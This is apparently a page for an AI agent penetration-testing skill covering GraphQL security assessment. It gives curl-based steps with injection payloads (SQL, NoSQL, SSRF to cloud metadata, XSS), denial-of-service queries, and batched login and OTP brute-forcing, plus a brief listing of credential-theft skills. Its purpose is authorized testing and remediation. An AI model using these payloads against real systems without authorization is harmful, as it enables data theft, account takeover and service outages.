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performing-graphql-security-assessment Assessing GraphQL API endpoints for introspection leaks, injection attacks, authorization flaws, and denial-of-service vulnerabilities during authorized security tests.
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npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills --skill performing-graphql-security-assessmentيبقى الأمر في سطر واحد. مرّر أفقيًا لمراجعته كاملًا قبل النسخ.
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تحميل Zip جاري التحميل... المزيد من هذا المستودع abusing-dpapi-for-credential-access Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket's dpapi.py, including domain-wide decryption via the DPAPI backup key. Use during authorized red-team credential-access engagements after gaining a foothold or when triaging DPAPI blobs pulled from a host.
abusing-shadow-credentials-for-privesc Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target's NT hash without a password reset. Use when BloodHound shows GenericWrite/GenericAll/AddKeyCredentialLink over a target, as a stealthier alternative to ForceChangePassword, during authorized red-team engagements.
acquiring-disk-image-with-dd-and-dcfldd Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.
name performing-graphql-security-assessment description Assessing GraphQL API endpoints for introspection leaks, injection attacks, authorization flaws, and denial-of-service vulnerabilities during authorized security tests. domain cybersecurity subdomain web-application-security tags ["penetration-testing","graphql","api-security","owasp","web-security","introspection"] version 1.0 author mahipal license Apache-2.0 nist_csf ["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"] mitre_attack ["T1190","T1059.007","T1505.003","T1083","T1055"]
Performing GraphQL Security Assessment
When to Use
During authorized penetration tests when the target application uses a GraphQL API
When assessing single-page applications (React, Vue, Angular) that communicate via GraphQL
For evaluating mobile app backends that expose GraphQL endpoints
When testing microservice architectures with a GraphQL gateway or federation
During bug bounty programs targeting GraphQL-based APIs
Prerequisites
Authorization : Written penetration testing agreement for the targetBurp Suite Professional : With InQL extension for GraphQL scanningGraphQL Voyager : Schema visualization toolInQL Scanner : Burp extension for GraphQL introspection and query generationAltair GraphQL Client : Desktop GraphQL client for interactive testingclairvoyance : GraphQL schema enumeration when introspection is disabledcurl : For manual GraphQL query submission
Workflow
Step 1: Discover and Fingerprint GraphQL Endpoints
Locate GraphQL endpoints and confirm GraphQL is running.
for path in graphql graphiql playground query gql api/graphql \
v1/graphql v2/graphql graphql/console; do
status=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST -H "Content-Type: application/json" \
-d '{"query":"{__typename}"}' \
"https://target.example.com/$path " )
echo "$path : $status "
done
curl -s "https://target.example.com/graphiql" | grep -i "graphiql"
curl -s "https://target.example.com/graphql/playground" | grep -i "playground"
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"{__typename}"}'
"https://target.example.com/graphql"
Step 2: Perform Schema Introspection Extract the full GraphQL schema to understand the API surface.
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { types { name kind fields { name type { name kind ofType { name kind } } } } mutationType { fields { name } } queryType { fields { name } } subscriptionType { fields { name } } } }"}' \
"https://target.example.com/graphql" | jq .
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}"}' \
"https://target.example.com/graphql" | jq . > schema.json
python3 -m clairvoyance \
-u "https://target.example.com/graphql" \
-w /usr/share/seclists/Discovery/Web-Content/graphql-field-names.txt \
-o discovered-schema.json
Step 3: Test Authorization on Queries and Mutations Verify that access control is enforced at the field and object level.
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $USER_TOKEN " \
-d '{"query":"{ users { id email role passwordHash } }"}' \
"https://target.example.com/graphql" | jq .
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $USER_TOKEN " \
-d '{"query":"{ user(id: 1) { id email ssn creditCard internalNotes } }"}' \
"https://target.example.com/graphql" | jq .
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $USER_TOKEN " \
-d '{"query":"mutation { deleteUser(id: 2) { success } }"}' \
"https://target.example.com/graphql" | jq .
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $USER_TOKEN " \
-d '{"query":"mutation { updateUserRole(userId: 1, role: ADMIN) { id role } }"}' \
"https://target.example.com/graphql" | jq .
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"{ users { id email } }"}' \
"https://target.example.com/graphql" | jq .
Step 4: Test for Injection Vulnerabilities Assess GraphQL queries for SQL injection, NoSQL injection, and other injection types.
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN " \
-d '{"query":"{ user(name: \"admin\\\" OR 1=1--\") { id email } }"}' \
"https://target.example.com/graphql" | jq .
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN " \
-d '{"query":"{ users(filter: {email: {$ne: \"\"}}) { id email } }"}' \
"https://target.example.com/graphql" | jq .
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN " \
-d '{"query":"mutation { importData(url: \"http://169.254.169.254/latest/meta-data/\") { result } }"}' \
"https://target.example.com/graphql" | jq .
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN " \
-d '{"query":"mutation { updateProfile(bio: \"<script>alert(1)</script>\") { id bio } }"}' \
"https://target.example.com/graphql" | jq .
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"{ user(id: 1) { email @deprecated } }"}' \
"https://target.example.com/graphql" | jq .
Step 5: Test for Denial of Service Attacks Assess query complexity limits and resource consumption controls.
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN " \
-d '{"query":"{ users { friends { friends { friends { friends { friends { friends { friends { name } } } } } } } } }"}' \
"https://target.example.com/graphql" | jq .
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN " \
-d '{"query":"{ u1: user(id:1){email} u2: user(id:2){email} u3: user(id:3){email} u4: user(id:4){email} u5: user(id:5){email} u6: user(id:6){email} u7: user(id:7){email} u8: user(id:8){email} u9: user(id:9){email} u10: user(id:10){email} }"}' \
"https://target.example.com/graphql" | jq .
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN " \
-d '[{"query":"{ user(id:1){email} }"},{"query":"{ user(id:2){email} }"},{"query":"{ user(id:3){email} }"},{"query":"{ user(id:4){email} }"},{"query":"{ user(id:5){email} }"}]' \
"https://target.example.com/graphql" | jq .
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"{ users { ...A } } fragment A on User { friends { ...B } } fragment B on User { friends { ...A } }"}' \
"https://target.example.com/graphql" | jq .
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN " \
-d '{"query":"{ users(first: 1000000) { id email } }"}' \
"https://target.example.com/graphql" | jq '.data.users | length'
Step 6: Test Batching for Authentication Bypass Use query batching to brute-force credentials or bypass rate limiting.
curl -s -X POST \
-H "Content-Type: application/json" \
-d '[
{"query":"mutation{login(email:\"admin@target.com\",password:\"password1\"){token}}"},
{"query":"mutation{login(email:\"admin@target.com\",password:\"password2\"){token}}"},
{"query":"mutation{login(email:\"admin@target.com\",password:\"password3\"){token}}"},
{"query":"mutation{login(email:\"admin@target.com\",password:\"admin123\"){token}}"},
{"query":"mutation{login(email:\"admin@target.com\",password:\"letmein\"){token}}"}
]' \
"https://target.example.com/graphql" | jq .
curl -s -X POST \
-H "Content-Type: application/json" \
-d '[
{"query":"mutation{verifyOTP(code:\"000000\"){success}}"},
{"query":"mutation{verifyOTP(code:\"000001\"){success}}"},
{"query":"mutation{verifyOTP(code:\"000002\"){success}}"},
{"query":"mutation{verifyOTP(code:\"000003\"){success}}"},
{"query":"mutation{verifyOTP(code:\"000004\"){success}}"}
]' \
"https://target.example.com/graphql" | jq .
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"query":"mutation { a1:login(email:\"admin@test.com\",password:\"pass1\"){token} a2:login(email:\"admin@test.com\",password:\"pass2\"){token} a3:login(email:\"admin@test.com\",password:\"pass3\"){token} }"}' \
"https://target.example.com/graphql" | jq .
Key Concepts Concept Description Introspection GraphQL feature that exposes the full schema, types, fields, and mutations Query Depth The nesting level of a GraphQL query; deep queries can cause DoS Query Complexity A score calculated from the cost of resolving each field in a query Batching Sending multiple queries in a single HTTP request for parallel execution Aliases GraphQL feature allowing the same field to be queried multiple times with different arguments Fragments Reusable field selections that can cause circular references if not validated N+1 Problem Unoptimized resolvers causing exponential database queries for nested fields Field-level Authorization Access control applied to individual fields rather than entire types
Tools & Systems Tool Purpose InQL (Burp Extension) GraphQL introspection scanner and query generator for Burp Suite GraphQL Voyager Interactive schema visualization tool Altair GraphQL Client Desktop GraphQL IDE for crafting and testing queries clairvoyance Schema enumeration when introspection is disabled graphql-cop GraphQL security auditing tool (pip install graphql-cop) BatchQL GraphQL batching attack tool for rate limit bypass
Common Scenarios
Scenario 1: Introspection Exposes Internal Schema Introspection is enabled in production, revealing internal types like AdminSettings, InternalUser, and mutations like deleteAllUsers. This provides a complete roadmap for further attacks.
Scenario 2: Missing Field-Level Authorization The User type exposes passwordHash, ssn, and internalNotes fields. While the frontend only queries name and email, any authenticated user can request sensitive fields directly.
Scenario 3: Batch Login Bypass The GraphQL endpoint accepts batch queries. By sending 1000 login mutation attempts in a single HTTP request, an attacker bypasses IP-based rate limiting that only counts HTTP requests.
Scenario 4: Nested Query DoS A social network API allows querying friends { friends { friends { ... } } } up to unlimited depth. A 10-level nested query causes the server to process millions of database queries, resulting in denial of service.
Output Format ## GraphQL Security Assessment Report
**Target**: https://target.example.com/graphql
**Engine**: Apollo Server 4.x
**Assessment Date**: 2024-01-15
### Findings Summary
| Finding | Severity | Status |
|---------|----------|--------|
| Introspection enabled in production | Medium | VULNERABLE |
| Missing field-level authorization | High | VULNERABLE |
| No query depth limit | High | VULNERABLE |
| Batch query rate limit bypass | High | VULNERABLE |
| GraphiQL IDE exposed | Low | VULNERABLE |
| SQL injection in user query | Critical | VULNERABLE |
| CSRF on mutations | Medium | PASS (custom header required) |
### Critical: SQL Injection via user Query
**Location**: `user(name: String)` query argument
**Payload**: `{ user(name: "' OR 1=1--") { id email role } }`
**Impact**: Full database read access via GraphQL interface
### High: Batch Authentication Bypass
**Location**: POST /graphql (array body)
**Payload**: Array of 100 login mutations in single request
**Impact**: Rate limiting bypassed; 100 password attempts per HTTP request
### Recommendation
1. Disable introspection in production environments
2. Implement field-level authorization on all sensitive fields
3. Set query depth limit (max 7-10 levels)
4. Set query complexity limit and cost analysis
5. Disable or rate-limit batch queries
6. Remove GraphiQL/Playground from production
7. Parameterize all database queries in resolvers
